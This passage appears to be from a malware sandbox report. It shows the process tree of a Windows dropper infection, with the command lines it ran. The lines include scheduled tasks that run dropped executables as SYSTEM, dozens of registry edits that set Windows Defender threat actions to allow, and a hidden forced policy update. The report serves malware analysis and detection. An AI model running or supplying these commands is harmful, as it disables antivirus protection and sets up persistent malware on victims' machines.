                                                                                                                                                                                                                                                                                                            PID:6312
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:6292
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /run /I /tn "gGwQcgliZ"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:6780
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "gGwQcgliZ"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:3068
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 00:29:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\yFIjgte.exe\" GH /caxkdidyB 385118 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                  PID:5900
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:5492
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:4668
                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    PID:5112
                                                                                                                                                                                                                                                                                                                    • C:\Windows\Temp\288142.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\Temp\288142.exe" --list-devices
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                      PID:5284
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCB5E.tmp\Install.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCB5E.tmp\Install.exe it /jMFdidGbsQ 385118 /S
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                  PID:6900
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:4032
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:5432
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:6840
                                                                                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                  PID:6208
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:6796
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:452
                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                        PID:7160
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:7140
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:6712
                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                              PID:6688
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:4404
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:5544
                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5900
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6844
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6644
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                        PID:4304
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6752
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4856
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:452
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                              PID:7136
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5804
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6564
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6964
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5960
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3208
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3832
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4368
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6236
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2468
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5320
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6792
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1408
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6156
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5516
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:7060
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:7140
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5872
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:6420
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6688
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6320
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:2372
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1176
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4908
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1928
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5308
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:7156
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 01:47:10 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\LDdueAd.exe\" GH /pYmzdidsI 385118 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                PID:404
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6048
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
